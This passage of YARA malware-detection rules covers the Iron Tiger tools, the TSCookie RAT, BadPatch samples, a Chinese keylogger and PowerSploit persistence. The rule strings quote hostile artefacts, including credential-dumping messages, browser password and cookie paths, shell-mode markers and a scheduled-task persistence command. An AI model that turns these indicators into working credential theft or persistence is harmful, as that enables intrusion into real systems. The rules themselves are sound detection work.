		description = "Iron Tiger Malware - ReadPWD86"
		reference = "http://goo.gl/T5fSJC"
		id = "5db832be-4b8e-536f-8db7-a215a90284e2"

	strings:
		$str1 = "Fail To Load LSASRV" wide ascii
		$str2 = "Fail To Search LSASS Data" wide ascii
		$str3 = "User Principal" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $str* ) )
}

rule IronTiger_Ring_Gh0stvariant
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Malware - Ring Gh0stvariant"
		reference = "http://goo.gl/T5fSJC"
		id = "6858550a-4000-581c-b270-370db8ed1c57"

	strings:
		$str1 = "RING RAT Exception" wide ascii
		$str2 = "(can not update server recently)!" wide ascii
		$str4 = "CreaetProcess Error" wide ascii
		$bla1 = "Sucess!" wide ascii
		$bla2 = "user canceled!" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( ( any of ( $str* ) ) or ( all of ( $bla* ) ) )
}

rule IronTiger_wmiexec
{
	meta:
		author = "Cyber Safety Solutions, Trend Micro"
		description = "Iron Tiger Tool - wmi.vbs detection"
		reference = "http://goo.gl/T5fSJC"
		id = "a3060f50-3594-5da9-98e2-6fa0087451f5"

	strings:
		$str1 = "Temp Result File , Change it to where you like" wide ascii
		$str2 = "wmiexec" wide ascii
		$str3 = "By. Twi1ight" wide ascii
		$str4 = "[both mode] ,delay TIME to read result" wide ascii
		$str5 = "such as nc.exe or Trojan" wide ascii
		$str6 = "+++shell mode+++" wide ascii
		$str7 = "win2008 fso has no privilege to delete file" wide ascii

	condition:
		2 of ( $str* )
}

import "pe"

rule TSCookie_RAT
{
	meta:
		description = "Detects TSCookie RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html"
		date = "2018-03-06"
		hash1 = "2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d"
		id = "a2b6c598-4498-5c0a-9257-b0bf6cd28de9"

	strings:
		$x1 = "[-] DecryptPassword_Outlook failed(err=%d)" fullword ascii
		$x2 = "----------------------- Firefox Passwords ------------------" fullword ascii
		$x3 = "--------------- Outlook Passwords ------------------" fullword ascii
		$x4 = "----------------------- IE Passwords ------------------" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( ( pe.exports ( "DoWork" ) and pe.exports ( "PrintF" ) ) or 1 of them )
}

rule WinAgent_BadPatch_1
{
	meta:
		description = "Detects samples mentioned in BadPatch report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/RvDwwA"
		date = "2017-10-20"
		hash1 = "285998bce9692e46652529685775aa05e3a5cb93ee4e65d021d2231256e92813"
		id = "732792ed-cb70-5b69-8457-f54177e4609e"

	strings:
		$x1 = "J:\\newPatch\\downloader\\" wide
		$x2 = "L:\\rashed\\New code\\" wide
		$x3 = ":\\newPatch\\last version\\" wide
		$x4 = "\\Microsoft\\Microsoft\\Microsoft1.log" wide
		$x5 = "\\Microsoft\\Microsoft\\Microsoft.log" wide
		$x6 = "\\Microsoft\\newPP.exe" wide
		$x7 = " (this is probably a proxy server error)." fullword wide
		$x8 = " :Old - update patch and check anti-virus.. " fullword wide
		$x9 = "PatchNotExit-- download now.. " fullword wide
		$x10 = "PatchNotExit-- Check Version" fullword wide
		$x11 = "PatchNotExit-- Version Patch" fullword wide
		$s1 = "downloader " fullword wide
		$s2 = "DelDownloadFile" fullword ascii
		$s3 = "downloadFile" fullword ascii
		$s4 = "downloadUpdate" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 1 of ( $x* ) or 4 of them ) )
}

rule WinAgent_BadPatch_2
{
	meta:
		description = "Detects samples mentioned in BadPatch report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/RvDwwA"
		date = "2017-10-20"
		hash1 = "106deff16a93c4a4624fe96e3274e1432921c56d5a430834775e5b98861c00ea"
		hash2 = "ece76fdf7e33d05a757ef5ed020140d9367c7319022a889923bbfacccb58f4d7"
		hash3 = "cf53fc8c9ce4e5797cc5ac6f71d4cbc0f2b15f2ed43f38048a5273f40bc09876"
		hash4 = "802a39b22dfacdc2325f8a839377c903b4a7957503106ce6f7aed67e824b82c2"
		hash5 = "278dba3857367824fc2d693b7d96cef4f06cb7fdc52260b1c804b9c90d43646d"
		hash6 = "2941f75da0574c21e4772f015ef38bb623dd4d0c81c263523d431b0114dd847e"
		hash7 = "46f3afae22e83344e4311482a9987ed851b2de282e8127f64d5901ac945713c0"
		hash8 = "27752bbb01abc6abf50e1da3a59fefcce59618016619d68690e71ad9d4a3c247"
		hash9 = "050610cfb3d3100841685826273546c829335a5f4e2e4260461b88367ad9502c"
		id = "648528f0-351c-527e-b516-2c8cae9fb4a3"

	strings:
		$s1 = "myAction=shell_result&serialNumber=" fullword wide
		$s2 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.*" wide
		$s3 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide
		$s4 = "\\Appdata\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.*" wide
		$s5 = "newSHELL[" fullword wide
		$s6 = "\\file1.txt" wide
		$s7 = "myAction=newGIF&serialNumber=" fullword wide
		$s8 = "\\Storege1" wide
		$s9 = "\\Microsoft\\mac.txt" wide
		$s10 = "spytube____:" fullword ascii
		$s11 = "0D0700045F5C5B0312045A04041F40014B1D11004A1F19074A141100011200154B031C04" fullword wide
		$s12 = "16161A1000012B162503151851065A1A0007" fullword wide
		$s13 = "-- SysFile...." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and 3 of them )
}

rule Keylogger_CN_APT
{
	meta:
		description = "Keylogger - generic rule for a Chinese variant"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2016-03-07"
		score = 75
		hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
		id = "7be0b175-05a4-5725-ba21-9438c0fcd740"

	strings:
		$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
		$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
		$x3 = "%sWindows NT %d.%d" fullword ascii
		$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
		$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
		$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
		$s3 = "shutdown.exe -r -t 0" fullword ascii
		$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
		$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
		$s6 = "http_s.exe" fullword ascii
		$s7 = "User Agent\\Post Platform\\" ascii
		$s8 = "desktop.tmp" fullword ascii
		$s9 = "\\support.icw" ascii
		$s10 = "agc.tmp" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of ( $x* ) ) or 3 of them
}

rule HKTL_PowerSploit
{
	meta:
		description = "Detects default strings used by PowerSploit to establish persistence"
		author = "Markus Neis"
		reference = "https://www.hybrid-analysis.com/sample/16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75?environmentId=100"
		date = "2018-06-23"
		hash1 = "16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75"
		id = "8cb0753c-c5bb-56fc-b492-4e785f4bdaf4"

	strings:
		$ps = "function" nocase ascii wide
		$s1 = "/Create /RU system /SC ONLOGON" ascii wide
		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide

	condition:
		all of them
}
